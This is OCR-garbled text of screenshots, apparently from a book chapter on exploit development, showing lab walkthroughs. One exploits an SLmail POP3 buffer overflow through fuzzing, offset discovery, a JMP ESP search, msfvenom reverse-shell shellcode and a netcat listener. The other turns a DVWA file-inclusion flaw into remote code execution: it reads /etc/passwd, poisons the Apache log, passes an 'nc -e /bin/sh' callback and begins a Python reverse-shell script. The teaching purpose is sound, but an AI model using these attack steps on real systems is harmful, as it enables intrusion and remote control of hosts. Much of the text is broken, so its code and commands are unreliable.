B& Bododoog MOV EAX,B

Co

LEAUE

“FfunctionFun

main

function
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Eile View Debug ImmLib Options Window Help Jobs

OB EE X PN biHEli+ lemtwhcPkbze
00401220 <i{EE

set_app_tyy

File

4 E xecutable Buffer0verflowm

: MMDBE

Command line |12312

File Miew Debug Immiin Options Window Help |obs |

ool TEE % b Il W lid+ lemtwhcPkbzrx.

ASCI “main tunction®

Backup
Copy
Binary
Assembie
Label
comment
Add Header
Modify ¥ anable

Toggle 2
it trace Conditional Shift+12
Run trace Conalitional log Shift4F4

Eun to selection F4
New ongin here  Cirl+Gray *

Goto ¥ Memary, on acoess
Fallow in Dump Memory, on write

Wiew call tree Cri+k
Hardware, cn execution

Search N

Find references ta
View

‘Copy o exstutable

Analyss TURI ERMEL32 .TEESEBEE fre
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10401293
004012496
00401290
00401244
004012A8
00401244
004012AB
004012AC
004012AE
004012B1
004012B4
004012B9
004012BC
004012BF
004012C2
004012C5
004012C8
004012CE
00401200
00401205
0D4012DC
004012E3
004012EA
004012EF
004012F 4
004012F5
004012F6

N3EC 08

ICT45 FC 00304000
NC745 F8 CCDDEEFH
B8 01000000

hCQ

LI 3

(4155

NOES

N3EC 18
NB3E4L FO

.NBE 00000000
NB3C0 OF

NB3C0 OF
MC1ES 04
IC1ED 04

BO45 Fa

EB45 F4

hES 70040000

NES 0B010000
NCT45 FC 11304000
ICT45 F8 44332211
NC70424 BBTTEESS
NEB ALFFFFFF
.NBE 00000000

L9

=MC3

v Help Jobs

SUB ESF.8
MOV DWORD PTR S5 [EBP-4],BufferOv.00403000 ASCI "functionFunction”
MOV DWORD PTR S5 [EBP-8],FFEEDDCC
MOV EAX,1

LEAVE

RETM

PUSH EBF

MOV EBF,ESP

SUB ESF,18

AND ESP,FFFFFFFO

MOV EAX,D

ADD EAX,0F

ADD EAX,0F

SHR EAX, 4

SHL EAX 4

MOV DWORD PTR 55:[EBP-C],EAX

MOV EAX,DWORD PTR 55 [EBP-C]

CALL BufferOv.00401740

CALL BufferOv.004013E0

MOV DWORD PTR S5:[EBP-4],BufferOv.00403011 ASCII "main function”
MOV DWORD PTR S5:[EBP-8],11223344
MOV DWORD PTR S5:[ESP],55667788
CALL BufferOv.00401290

MOV EAX,0

LEAVE

RETM

NOP

lemtwhcPkbzr..

00848129D | . C745 F8 CCDDEI HOU
684812n4 | . B P1066000 HOU EnX,1

08481209 | . C
gea@12an L. CS
084812AB
ee4a@812ac | .

084812AE | . B3EC

aana1281

#1284 | . BB POABBAAA HOU EAX,@
9 | . 83CH @F ADD EAX,8F
| - 83CH OF ADD EAX,BF

- BOAKS
004012C8 | . 8BA4S

LEAVE

PUSH EBP

MOV EBP,ESP

SUB ESP,18

AND ESP,FFFFFFFB

- C1E8 @4 SHR EAX,4
- C1ED 04 SHL EAX.4
Fu Hou

F4 MOV EAX,

004012CB | . EB 70040000 BufferOu.00401740
00401200 | . E8 OBO10000 BufferOu.004013E0

- C745 FC 11384 MOV

B84812DC | . C745 F8 44332 MOV
BB4B12E3 | . C78424 887766' MOV

| aouas

Lo

LFFEEDDCC q
X 00@00OOR
CX 00401340 BufferlDu. 00401340
X 77C61AE8 msvcrt.77C61AEB
BX 00004000
" Q022FF50
iP 0022FF78
a8798074
8869 BAGE

06401205 Bufferdv.064012D5

ES 8023 32bit B(FFFFFFFF)

CS 0018 32bit O(FFFFFFFF)

$S 0023 32bit O(FFFFFFFF)

DS 0023 32bit O(FFFFFFFF)

0 FS 0038 32bit 7FFDDOAB(FFF)
i 0 GS 000 HULL

,Buffer0u.BB4B31 ASCII "main function 8
, 11223344 8 LastErr ERROR_FILE_NOT_FOUND (©0808082)

55667788
EFL 088088247 (HO,B,E,BE,NS,PE,GE,LE)

Address |Hex dunp
00402000 FF FF FF
00402008 6@ B0 6O
60402010 60 40 60
60402018 6@ 80 60
084082028 FA 18 4@
00402028 00 80 00
00402030 00 00 00
00402038 00 00 0@
00402040 00 00 00
00402048 00 00 0O
08402050 60 80 00
884682858 08 80 08
884082868 88 80 08
08402868 08 80 08
08402078 00 80 08

FF 60 p0 66
66 80 60 0B
66 80 60 PO
66 80 60 0B
66 80 60 BB
08 00 60 00
00 FF FF FF
00 FF FF FF
00 00 00 o0
00 00 oo oo
68 80 68 BB
68 88 B8 BB
88 80 B8 BB
68 80 88 BB
06 08 68 08

B -F4d 3] 77C3B814 B _Aw RETURN to msucrt.?7C3B814 from msucrt.free
0022FF54  BOE24A8 "S> . R
0022FF58 AB3E29C8 E)>.
0022FF5C  0O4G1200 DBE. RETURN to BufferOu.084012D0 From BufferOu.Be4ed740
0022FF60 77CBAEAD -BAw RETURN to msucrt.77C3AEAD from msucrt.77C3B75C
0022FF64  DB69OPGE n.i.
0B22FF68  BO79087H t.y.
0022FF6C  BOOODRTD i
0022FF70  BOAARE17
0022FF74  BOAARBO2
0022FF78 FOO22FFBO °j".
0022FF7C | BOUO11E7 ¢BE. RETURN to BufferOu.0B4011E7 From BufferOu.Bone12aB
0D22FF80 | DOOODROT ...
0D22FF 8N :
0B22FF8B E.
Ml 0022FFBC | BBu04BOD .EE. BufferDu.B04B4BOD




function”

e S X P IT B i fiaJ= | em¢twh c

0040000

"main fum

O TE «x )

nd 00 0
NEAR

Address

:[EBP-4] . Bu
[EEF-8] . FFEED

: [EBP-C].

1EAVE
ETH
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Code auditor and software as.

nent specialist needed

FFFFFFFQ

0060FDCC
DD0

BRI R EEE

Executable BufferOverfiow

Command line |123456783444AAAAABBEEEEEE]

o¥az ra
BBA4S Fh

E8 6EOuB080

E8 a18080
C745 FC 113041 1
745 FB

BB4S OC

83CH oy

8B00

890424

E8 BBFFFFFF

8 Boadoasn

e
Lo

19

C745 FC
C745 F8
8BA4S BC
83CH Bh

064612EE

B4 A12F8

4f lemtwhcPkbzr.s?

stemCallRet

HoduleEntry

B{FFFFFFFF})
B(FFFFFFFF)
B{FFFFFFFF)
B(FFFFFFFF)
7FFDDBOB{FFF)

ASCII "main function

s
DMORD PTR DS:[ERX]
SEAR

8688 HULL

tErr ERROR_ENUUAR_NOT_FOUND
(NO,NB ,E,BE

RETURH to

{ B

kerne

81F3F:
FFFFFFFF End of
SE ha

17070 kerne

i ppl|
(LT Tef i)
pepea8

a

Help  Jobs

lemtwhocPkbazr.s

00401350 Buffe
7 1AE8 m

riv.BB4B1350
“t.7 AES




G745 FC 10U .

C745 F8 31: Hi 2 % BBIE2H9C NS B 6 ARA CCCCCCCDDDDDD
8BA4S BC X 60401350

8300 84 ] B 77C61AES m

BBOR DWORD PTR ] 60004000

898424 A 5P BB22FF58

E8 BBFFFFFF 2r v . ) a o F78

|€] Fie View Debug Pugns Immiib Optons Window Hep lobs
% T X » 11 B 4+ lemtwhocDPkbzr
PUSH EBP
10U EBP,ESP [ C ASC
d _ SuB EsP CX 80401350 Buff
C745 Fi 083041 10U v 5 3 7 AEB m
45 F@ CCDDEI HOU 4 00084008
1ou
HoU
LER
1ou 3
EB BAASDOOR < y P,
B8 01000880 1OV EAX, BufferOu.08u612a/4
co LEAUE 3 it B(FFFFFFFF)
c3 B vit @ FFEFEFEEY

3 PUSH EBP
89ES HOU EBP
3EC 38 SUB BufFer0u. BBLA135D
745 Fli 00304 FFerou 3 svert .77C61AER
G745 FO CCDDEI
8BAS 08
8OHL2H OB
BDAS DB SI 08798874
890424 u 3 P1,El sE
E8 BAGS0000 <JHP . &nsvert .strcpy
BS 01000080 MOV EAX,1
] LEAUE : bit B(FFFFFFFF)
] 0 32bit B(FFFFFFFF)
55 PUSH EBP " s 3 3 B{FFFFFFFF)
89ES MOV EBP,ESP it 8¢FFFFFFFF)
83EC 18 UB ESP,18 32bit 7FFDFOBB(FFF)
83EL4 FO AND ESP,FFFFFFF@ 0060 HULL
B8 08BOABBA  MOU EAX,0
DD EAX,8F tErr ERROR_FILE _NOT _FOUND {B0888082

ADD ERX,0F
2 (MO,HNB,NE,A,NS,PD,GE,G)

084012AE BufFferOv.B@4B12AE

~ BB22FF18
BBEBEBB
80080008
FFEB

RETURH to ms . 29 from m
RETURH to msucrt.7 > from m
apaa1 . B 0 Bao1
FFEED
664a3 000
opua1

00401305 R - BufferOu.0o40

Halivy lemtwhcPkbzr

FF25 H‘Hmlhu DWORD PTR DS:[<&msucrt.s
90 HOP
90 HOP J 00401350
00 DB 08 £61
00 DB 08 800B4000
00 DB 08 BO22FF BC
a0 DB 08
00 DB 08 00790074
[T] DB 98 0069 BO6E
DB 98
e 09 POHB1BLE <
F 504000 DWORD PTR DS:[<&msucrt.free>] msucrt.fFree : 0 E O(FFFFFFFF)
O(FFFFFFFF)
B(FFFFFFFF)
B(FFFFFFFF)
(FFF)

B
0B48185A D ;S 8008 NULL
aB48 ] E

ERROR_FILE_NOT_FOUND (@080080887
28481850

~ BB22FF BC - strcpy from BufferOu. 88481281
BO22FF16 8

@ FF FF FF FF 080 08 88 2FF2)
56789AAARAAAAABBBEBBBBCCCCCCCCDDDDDDD ™

60 B0 @ BB AO 06 B

AnAAAAAA




f2ilidsl lemtwhecPkbzr

HOU EBP,ESP
SHI BuFFer0u . DB48132E v. 0401300
LER ESI,DUORD PTR DS:[ESI] ;8 32 B(FFFFFFFF)
Hov X ,DWORD PTR DS:[EC: “ E B(FFFFFFFF)
nou DWORD PTR DS:[EC: Ao ¥ t BO(FFFFFFFF)
ADD ECX, z DS L B(FFFFFFFF)
[} 08064688 ADD DUORD X 5 s 7FFDFBOB(FFF)
1F9 00314000 CHP E - o S 8080 HULL
SHORT
POP EBP ] LastErr ERROR_FILE_NOT_FOUND {90808066:

EFL 0881
DDDDDDD

Bufferou.BO4012E2 from u. 08401750
t.7 3B75C

06790074
@0000010

ASCIT "main Function™

RETURN to BuFferDu.@B4811E7 from BuFfFerOu.8B4812BD
ananaan2
003E2520

a 9
aB4Buane

[21:85:22]1 Access violation when reading [082208441 — use Shift+F?-F8/F9 to pass exceptionpto program Paused
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 Users I Cptions I System | Connection Method I Routing Options I Logaing | Timirg
Arcess Control Ahout ...

o
'j r r awse |

o
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5 ¥ Help

i+ lemtwhcPkbzrzr.s ? Immunity: Consulting Services M

Listening

Cancel

fe@  Immunity Lebugger - SCrmail.exe - [LPU - thread UOOUUABS, module ntdl] =02

File View Debug Plugins Immlib Options Window Help Jobs
S EE M b I MM+ 1l emtwhcecPkbzr. s|? Immunity: Consulting Services M

+ Registers (SOMHowt)

|

Bunning

[225]



1 #!/usr/bin/python

2

3/import socket

4

5buffer=["A"]

6

7counter=100

8

9 while len{buffer)<=30:

10
11
12
13
14

buffer.append("A"*counter)
counter=counter+2o0

15 for string im buffer:

16
17
18
19
20
21
22
23
24
25
26

print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF INET,socket.SOCK STREAM)
connect=s.connect(('192.168.250.137',110))
data=s.recv(1024)

#print str(data)

s.send('USER root\r\n')

data=s.recv(1024)

print stridata)

s.send('PASS ' + string + '“rin')
s.send('QUITNr\n")

s.closel()
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Applications « Places = ) Terminal =

! 1 51 Immunity Debugger - SLmail.exe - [CPU - thread 00000A94] E@

File View Debug Plugins Immlib Options Window Help Jobs X
[OHBFE @xp I MHelia» 1l emtwhcPkbzr.s ?1 File Edit View Search Terminal Help

Recycle Bin

ing PASS with 1700
+0K root welcome here

Fuzzing PASS with 1900
ot welcome here

g PASS with 2160
SS with 2300
+0K root welcome here

Fuzzing PASS with 2500
+0K root welcome here

Fuzzing PASS with 2700
+0K root we

[B2:85:42]1 Access violation when executing [414141411 — us Paused
- Fuzzing PASS with 2900

:~/bo/windows_bo# /fusr/share/metasploit-framework/tools/exploit/pattern
_create.rb -1 2900

AabAalAazAa3AadAasAabAaTAaBAa9AbOAb1Ab2Ab3Ab4ADSADGEADTADBADIACBACIACZAC3IACSACSAC

6ACTACBACIAdOAd1Ad2Ad3Ad4AdSAd6Ad7TAIBAdIAEDA1Ae2Ae3AedAe5AcbAeTAeBAIATOATIATZA
f3ATAATSATEATTATBATIAGOAGLAG2Ag3Ag4Ag5Ag6Ag7AgBAgIANOAN1AN2AN3Ah4AhSAh6AhTAhBAND
Ai0A1I1A12A13A14A15A16A17A18A19AI0A1Aj2Aj3Aj4AT5AT6A]7TA]BAJIAKBAKIAK2ZAK3AKLA I-:SAKI
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1 #!/usr/bin/python
import socket
buffer=["A"]

counter=100

string=

if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket. socket(socket AF INET socket SOCK STREAM)
connect=s.connect(('192.168.250. |8|,_;~}}
data=s.recv(1024)
#print str(data)
s.send('USER root\
data=s.recv(1024)
print str(data)
s.send('PASS ' + string + '\
data=s.recv(1024)
print str(data)
print "done
#s.send('QUIT\r\n')
#s.close()

\n')

s Wik 2H QOO &aWRNMESWOONDNW & WK

4 Immunity Debugger - SLmail.exe EI
File View Debug Plugins Immlib Options Window Help Jobs

[O%»TE WX b 1l w52+ lemtwhcPkbzrd

File Edit View Search Terminal Help

|[33:B4:59] Access violation when executing [3%26944381 — us| |Pausen'|

_bo# Jusr/share/metasploit-framework/tools/exploit/pattern
q 39694438

[*] Exact match at offset 2606

[228]



s bo# /fusr/share/metasploit-framework/tools ploit/nasm_sh

ell.rb

nasm = jmp

00000000 FFE4 jmp esp
nasm > JJ

Q Immunity Debugger - SLmail.exe | = || [=] |@
File View Debug Plugins ImmLib Options Window Help Jobs

el TS H T lemtwth];bzr...S?.
Log data =N Bl =

t
"find.
find.

ind "

READOH L
MFC.OLL]
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_bo# msfvenom -p windows/shell reverse tcp lhost=192.168.2
= :f:hikata_ga_nai - -bad-chars \x00\x0a\x0d\x20 -f python
-platform windows X86 -n 1@
Fuund 1 CUmpdtlblr encoders
: d with 1 iterations of x86/shikata ga nai
. >d with size 351 (iteration=e0)
Kﬁﬂthlkdtd gd nai chosen with final size 351
nUCCtbbell added NOP sled from x86/single byte
ayload size: 361 bytes
of python file: 1734 bytes

"\f49\f3?\f37\ o\ x42\x4a\x9b\x98\x9 T\ x2f\ xdb\xdf\xb8"
"4\ f4\»5b\»2b\»c9\»b1\»5’“

(4 x8d\x5a\xe by, X
"\’ﬁﬁ\xES\»Od\x4ﬁ\x0?\xa XTTNX07\xc9 9\ x27\xb7"

"\ x99\ x2 f\Ac4\x3c\xcf\xdb\x5f\130\xd8\xec\x“8
"NKC3NX

X224\ x 19\ x 13\ xaf\ xc7\xcel\
(dfyx13\x15\xa3\ x54\ xe7\xel\ Xx32\ X bc\f39\*09\*95"
"WxBINXTEAXTB\ Xed\XCch\ X322\ X J\A96\£3H\£41\»9&\»d0\!55"
"\ 3b\a 4N\ K24\ ¥x9b\ x0Ty ®xFoyxl
) Faxc2\x6T\x42\xa ar5\ bf\»cZ\,
= "\»Cl\ lb\»uw\»d5\»ﬁu\fod\nﬁa\KBb\X94\»5(\»d5\»f4\»3

:~# nc -nlvp 1433
listening on [any] 1433
connect to [192.168.250.162] from (UNKMNOWN) [192.168.250.156] 55444

-
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Chapter 13: Exploit Development

@ openssh 4.3 exploit- ¢ & Book update-Ffurqankh X | TYPE CLOUD: Edit Posk<H

“5> ¢ w @ 192.168.1.102 v L n@ =
D\WA)
Home Vulnerability: File Inclusion
nstructions | ‘ To Include a file edt the ?page=index.php in the URL to determine which file s included
Setup
More info

Brute Force

Command Execution
CSRF

Insecure CAPTCHA

[ Fileinciusion |
sQLinjection |
SQL injection (8ina) |
Uploaa |
XsSreflected |
xssstoed |

DVWA Security
PHP Info

About

Logout
Username: admin View Source | View Help
Securitv Level: low

=
[1+]
e
=]
&
My
5]
~
Ly
-
~+
(%]
o
o
Ly
w]
-

.l:z
-

1
2
3 $file = $ GET['page']; //T
4
5
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15 switch( $ COOKIE['security']l ) {

16 case 'low':

17 SvulnerabilityFile = 'low.php'

18 break;

19

20 case 'medium’

21 SvulnerabilityFile = 'medium.php';
22 break;

23

24 case "high':

25 default:
26 $vulnerabilityFile = 'high.php';
27 break;

30 require_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/fi/source/{SvulnerabilityFile}";
31

32 Spage[ 'help_button' ] =
33 Spage[ 'source_button' ] = 'fi';

cLlinclude(Sfile):
36

37 dvwaHtmlEcho( $page );

&« c @ [192.168.1.102/dvwa/vulnerabilities/fi/?page=/etc/passwd ARl o L n @ =

root:x:0:0:rootroot/bin/bash daemon:x:1:1:daemon:usr ustsbin/nologin sysx:3:3:sysude Synex:4:65534:syncibin: isrisbin/nologin
Iman:x6:12:man:/varicache/man jusrisbin/nologin Ip=x:7 7:1p: p mailx8:8:mailvar/mail ologin news:x9 9news varlspaolnews:ustisbin/nologin uycp10-10:uucp harispool uucpusrisbininolagin
oroxyx13:13 proxybinshusrisbinmologin www.datax-33:33 www-data Narivww-fusrisbininologin backup>x-34:34:backup:Narbackups Aisrisbiniologin listx38:38:Mailing List Manager
usrisbininalogin gnatsax41:41:Gnats Bug-Reporting System (admin)zvarfib/anatsius/sbininologin nobody-x65534:65534:nobod temd-t 100:1 Time

inffalse systemd-network:x:101:103:systemd Network /binffalse systemd x:102:104:systemd Resolver,, Jrun/systemdiresolvebin/false systemd-bus-proxy:x-103:105:systemd Bus Proxy, Jrun
e fal: yslogx:104:1 Vfalse _aptx:105: 34 /binfalse 1 110; uuidd:x:107:111:/run/uuidd:/bin/false lightdm:x:108:114:Light Display Managerzvar
iibfightambinfalse whoopsiexx109:117 :nanexisient/binfalse avahi-auloipd:x110:119:Avahi autolp dacmon,, varlibiavahi auipd:binfaise avahx111:120:Avani mONS dacmon,, ariuniavah dasmon:binialse

112:6553: nffalse colord:x:113:123:colord colour daemon, Jfal dispatcherzx:114:29:Speech Dispacher, variun/speech-dispaicher-binffalse

hplipox:115:7:HPLIP system user, svarfrun/hplipsbin/false kermnoops:x:116:65534:Kernel Oops Tracking Daemon,,//bin/false pulse:x:117:124: daeman,, Jbin/false rkitx:118:126:F Jprocibin/false
fsaned:x:119:127 svarfibisaned binffalse usbmux:x:120:46:usbmux daemon,, varlibusbmuz/bin/false khan:x:1000:1000-khan,, /home/khan /bin/bash debian-torx:121:130:/varfibior/bin/false guestwyfloyx999:999 GuestAmp/guest-
wyRoy/binibash mysqix:122:131:MySQL Server,, Jnonexistent/binfalse 55hd:x:123:65534:ivar ssh_userx:1001:1001 _user: ftpuser::1002:1002:4d
nullfetc

Home
Instructions

Setup

Brute Force

‘Command Execution
CSRF

Insecure CAPTCHA
[ Filo nclusion |
_sQLinjeston |
vpload |
Xssreflectes |
xssstores |
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@ zerogrosscol X | @ LFICheatShe: X [l HowToHack X | & PassingaURl X | @& Bookupdate- X | TYPECLOUD:Edi X NOJEUAIGENE <7 Damn Vulner: X

& Cc @ @ 192.168.1.102 b+ d oI @

192.168.1.102 - - [23/Dec/2018:18:04:02 +0530] "GET /dvwaivulnerabiliies/fi/? page=include php HTTP/1.1" 200 1580 "hitp/192.168.1 ce: =ifconfig” "Mozilla/5.0 (X11
Ubuntu; Linux xB6_64; rvi64.0) Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:02 +0530] "GET /dvwa/dvwa/cssimain.css HTTP/1.17 200 14127 Thtp192.168.1.1024 ?page= php”
"Mozilla/5.0 (%11; Ubuntu; Linux xB6_64; rv:64.0) Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2016:16:04:02 +0530] "GET /dvwalfavicon.ico HTTP/1.1" 200 1706 ™" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0)
Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:04 +0530] "GET idvwa/ HTTP/4.1" 200 1975 "hitp2/192.168.1 i page=i php” "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0)
Gecko/20100101 Firefox/64.0" 192.166.1.102 - - [23/Dec/2018:18:04:04 +0530] "GET /dvwa/dvwaicss/main.css HTTP/1.17 200 1412 "hitpJ/192.166.1.102idvwa/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101
Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:12 +0530] "GET /dvwalvulnerabilitiesfi/?page=include.php HTTP/1.1" 200 1590 “htp:/192.168.1.102/dvwar "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101
Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:12 +0530] "GET /dvwavulnerabilitiesfi/?page=include.php HTTP/1.1" 200 1589 “http://192.168.1.102/dvwar" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101

o)

Home

Instructions
Setup

Brute Force

‘Command Execution
CSRF
Insecure CAPTCHA |
Fioinciusion |
SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

Ahout |

khan@khanUbantu:~S% nc 192.168.1.182 86

|HTTP;1.1 400 Bad Request

!Date: Sun, 23 Dec 2018 12:37:31 GMT

Server: Apache/2.4.18 (Ubuntu)
Content-Length: 301

Connection: close

iContent-Type: text/html; charset=iso-8859-1

'<1DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">
tml><head>
|atit19}4@0 Bad Request</title>
\</head><body>
i<h1>Bad Request</hi=>
|ﬁp}VDUF browser sent a request that this server could not understand.<br />
</p>
<hr=
<address>Apache/2.4.18 (Ubuntu) Server at 127.8.1.1 Port B@</address>
</body></html>
khan@khanubantu:~$ [|J
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TYPE CLOUD: E M [B DamnVulner X [RSIHERLRVILE

Search L In @ =

[192.168.1.102 - - [23/Deci2016:18:04:02 +0530] "GET /dvwalvulnerabilities/fi/?page=include.php HTTP/1.1" 200 1590 "htp/192.168.1 pag =ifconfig" "Mozilla/5.0 (X11;
Ubuntu; Linux xB6_64; rv:64.0) Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:02 +0530] "GET /dvwa/dvwalcss/imain.css HTTP/1.1" 200 1412 "hitp:/1192.168.1 7page php”
Mozilla/5.0 (X11; Ubuntu; Linux xB6_64: rv64.0) Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Deci2016:18:04:02 +0530] "GET idvwalfavicon ico HTTP/1.1° 200 1706 " "Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; rv:64.0)
Gecko/20100101 Firefox/54. php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0)
(Geckoi20100101 Firefox/64. inux xB6_64; v:64.0) Gecko/20100101
Firefox/e4.0° 192 1681102 - - [23/Deci2018-18:0412 +0530] "GET id
Firefox/64.0" 192.166.1.102 - - [23/Dec/2018:18:04:12 +0530] "GET ? Php HTTPH 1 200 1568 "Nitp192.168.1.102/dvwar Mazilla/5.0 (X1 UbUMu; Linu 86_64: 1v:64.0) Gecko20100101
Firefox/64.0" 192.166.1.102 - - [23/Dec/2016:16:04:40 +0530] "GET log HTTP/1.1" 200 1630 " "Mozilla/5 0 (X11; Ubuntu; Linux xB6_64; rv:64.0) Gecko/20100101 Firefox/64.0"
192158 1 102 - - 23D ec201815:014:40 +0530] "GET Idvwaldvwalcssimain.css HTTP/ 17 200 1412 Thtp:/492 168 1. pag Iog" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; nv:64.0)
(Geckoi20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:40 +0530] "GET favicon.ico HTTP/1.1" 404 505 " "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecka/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec
/2018:18:04:40 +0530] "GET idvwalfavicon.ico HTTP/1.1" 200 1706 ™" "Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; rv:64.0) Gecko/20100101 Firefox/64.0" 192.168.1.102 —[23"Dec.’201313ﬂ7'31 +0530] “hitp:/192.165.1.102
EanEggdocker0 Link encap:Ethernet HWaddr 02:42:a0:c8:dfbe inet addr:172.17.0.1 Bcast0.0.0.0 Mask:255.255.0.0 UP BROADCAST MULTICAST MTU:1500 Metric: T E

errors:0 dropped:0 overruns:0 carrier:0 collisions:0 bxqueuslen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) enp1s0 Link encap:Ethemet HWaddr fc:45:96:96.7b:d9 UP BROAD(:AST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0
dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Lacal Loopback inet addr:127.0.0.1 Mask:255.0.0 0 inet6 addr: 11126
Scope:Host UP LOOPBACK RUNNING MTU:65536 Melric:1 RX packets:44153 erors:0 dropped:0 overruns:0 frame:0 TX packels:44153 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 trqueuslen:1000 RX byles:4728070 (4.7 MB) TX
bytes:4728070 (4.7 MB) vmneti Link encap Ethernet HWaddr 00:50:56:c0:00:01 inet addr:172.16.6.1 Beast 172

MITU500 Metricri RX packets:0 erors:0 dropped:0 overmuns:0 frame:0 TX packels:292 erors:0 dropped:0 overruns:0 carmier:0 collisions:0 txqueuelen:1000 RX bytes0 (0.0 B) TX bytes:0 (0.0 B) vmnets Link encap:Ethernet HWadar
D0:50:56:c0:00:08 inet addr:192 168 250.1 Boast:192.168.250 255 Mask:255.255.255 0 inet6 addr: fe80:250:56ffec0:8/64 Scope Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packels:579 erors:0 dropped:0
overruns:0 frame:0 TX packets:269 errors:0 dropped:0 overruns:0 carrier0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 ) TX bytes:0 (0.0 B) wip2s0 Link encap:Ethemnet HWaddr 3c:85:09:57:90:8b inet addr-192.165.1.102
Bcasl192.168.1.255 Mask255.255.255.0 inel6 addr: fe80::dec:5d5:62b3:925/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packels:2255546 errors:0 dropped:0 overruns:0 frame:0 TX packets:2377597
Errors:0 dropped:0 overruns:0 carrier:0 collisions:0 ixqueuelen:1000 RX byles:870045941 (970.0 MB) TX bytes:505812530 (505.9 MB) n" [0

DY)

Insecure CAPTCHA
SaL Injection |

<« X @ | rabilities/fi/?page=/var/log/apache2/access.log&cmd=nc-e /bin/sh 192.168.1.102 4444{ v ‘ Search Y oin @ =
192.168.1.102 - - [23/Dec/2018:18:04:02 +0530] "GET ilities/fi7page= php HTTPH 4" 200 1590 *hitp/92.168.1 logacmd=ifconig® "Mozilla/5 0 (X11;
Jbuntu; Linux x86_64: 1v:84.0) Gecko/20100101 Firefox/64.0" 182.168.1.102 - [23/Dec/2018:1804.02 +0530] "GET dwaldvwalcssimain css HTTP/1 1% 200 1412 "hito:4192.168.1. pag "
Mozilla/5.0 (X11; Ubuntu; Linux x86_64: rv:64.0) Gecka/20100101 Firefox/64.0° 182.168.1.102 - - [23/Deci2015-15:04:02 +0530] "GET fdvwasfavican ico HTTP/ 1" 200 1706 =" "Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; rv-54.0)
Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:04 +0530] "GET /dvwa/ HTTP/1.1" 200 1975 "http://192.168.1.° :s/fir?page=i php” "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0)
3ecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:04:04 +0530] "GET /dvwaldvwalcssimain.css HTTP/1.1" 200 1412 "hitpi/192.168.1.102/dvwal" "Mazilla/5.0 (X11; Ubuniu; Linux xB6_64; rv:64.0) Gecko/20100101

efox/64.0" 1921681102 - - [23/Decl2015-16:04:12 +0530] "GET page=i php HTTP/1.1" 200 1580 "htip2/192.168.1.102/dvwar" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101

fox/64.0° 192.168.1.102 - - [23/Deci2018:18:04:12 +0530] "GET pag Php HTTPA.1° 200 1588 *Nttp:/192.168.1.102/dvwar "Mozilla/5 0 (X11: Ubuntu; Linux x86_64: 1v:64.0) Gecko/20100101
Firefox/B4.0" 192 168.1.102 - - 23/Dec/2018:18:04:40 +0530] "GET log HTTP/1.1" 200 1630 ™" "Mozilla/5.0 (X11: Ubuntu; Linux x86_64; rv:64.0) Geckoi20100101 Firefox/84.0"
192.168.1.102 - - 23/Dec/2018.18:04-40 +0530] "GET dvwaldwwalcssimain css HTTP/ % 200 1412 Thip:/192.168.1. Iog” "Mozillas5.0 (X11; Ubuntu: Linux xB6_64; v:64.0)

Gecko/20100101 Firefox/64.0" 192.166.1.102 - - [23/Dec/2018:18:04:40 +0530] "GET favicon.ico HTTP/1.17 404 505 ™" "Mozilla/5.0 (X11; Ubuntu;
'2018:18:04:40 +0530] "GET /dvwa/favicon.ico HTTP/1.1" 200 1706
377" 192.168.1.102 - - [23/Dec/2018:
Firefox/84.0"

Linux x6 _64; 'v:64.0) Gecko/20100101 Firefox/64.0" 192.166.1.102 - - [23/Dec
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0" 192.168.1.102 - - [23/Dec/2018:18:07:31 +0530] *htip//192.168.1.102/dvwa?id=\n" 400
:13:13 +0530] "GET pag: ig HTTP/1.1" 200 2266 ™" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101
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khan@khanUbantu:~5 nc -nlvp 4444

Llistening on [any] 4444

connect to [192.168.1.102] from (UNKNOWN) [192.168.1.102] 57260
whoami]

www-data

Ls

help
iinclude.php
index.php
'source

1 socket,subprocess,os
2 s=socket.socket(socket.AF _INET,socket.SOCK_STREAM)
3 s.connect(("192.168.1.102"|,4444))

